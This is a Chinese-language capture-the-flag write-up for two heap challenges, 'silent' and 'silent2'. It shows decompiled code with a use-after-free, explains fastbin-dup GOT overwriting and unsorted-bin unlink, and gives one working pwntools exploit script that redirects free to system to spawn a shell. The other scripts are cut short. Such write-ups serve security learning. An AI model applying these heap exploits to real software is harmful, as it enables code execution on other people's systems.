好菜,只做了一题,慢慢补~
silent
程序有3个功能,分别是add,delete和edit
1 | __int64 add_() |
在add中可以控制malloc的大小。1
2
3
4
5
6
7
8
9
10
11
12
13signed __int64 free_()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 < 0 || v1 > 9 )
return 0xFFFFFFFFLL;
free(s[v1]);
return 0LL;
}
free之后没有清空指针,可以进行fastbin dup修改got,在0x601ffa处发现满足size条件,要求fastbin大小为0x60,脚本如下:
1 | from pwn import * |
方法二:这里要用到edit的功能1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16signed __int64 edit_()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 < 0 || v1 > 9 )
return 0xFFFFFFFFLL;
v2 = strlen(s[v1]);
read_(s[v1], v2 + 1);
read_(&unk_602120, 48LL);
return 0LL;
}
思路是:通过edit修改fastbin中的fd,然后修改ID=0的地址,进行任意地址写。
脚本如下:(不加sleep,不保证每次都成功)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20def edit(id,content,content2):
p.sendline('3')
p.sendline(str(id))
p.send(content)
p.send(content2)
add(0x60,'a'*0x5f)
add(0x60,'a'*0x5f)
add(0x70,'/bin/sh\x00')
delete(1) #a
delete(0) #b->a
edit(0,p64(0x60209d),'\n') #修改a的fd
add(0x60,'c'*0x5f) #a
add(0x60,'a'*0x13+p64(0x602018)) #修改ID=0的地址为free@got
edit(0,p64(0x400730),'\n') #改成system@plt
delete(4)
p.interactive()
silent2
大体跟1差不多,不过这里add限制了大小,只能0x10或大于0x80,那么可以利用unsorted bins进行unlink1
2
3
4
5
6__int64 add_()
{
if ( size != 0x10 && size <= 0x7F ) //这里改了
exit(0);
v3 = malloc(size);
}
思路是:先申请两个0x100大小的chunk,然后free掉,再申请一个0x210的chunk,就会利旧刚刚free出来那两个chunk的空间,使用edit构造两个fake chunk(fake chunk1是free chunk,fake chunk2是allocated chunk)
再次delete(4)的时候,会触发unlink,最终结果是p_addr
位置的地址就会改写是&p_addr-0x18
1 | def add(size,content): |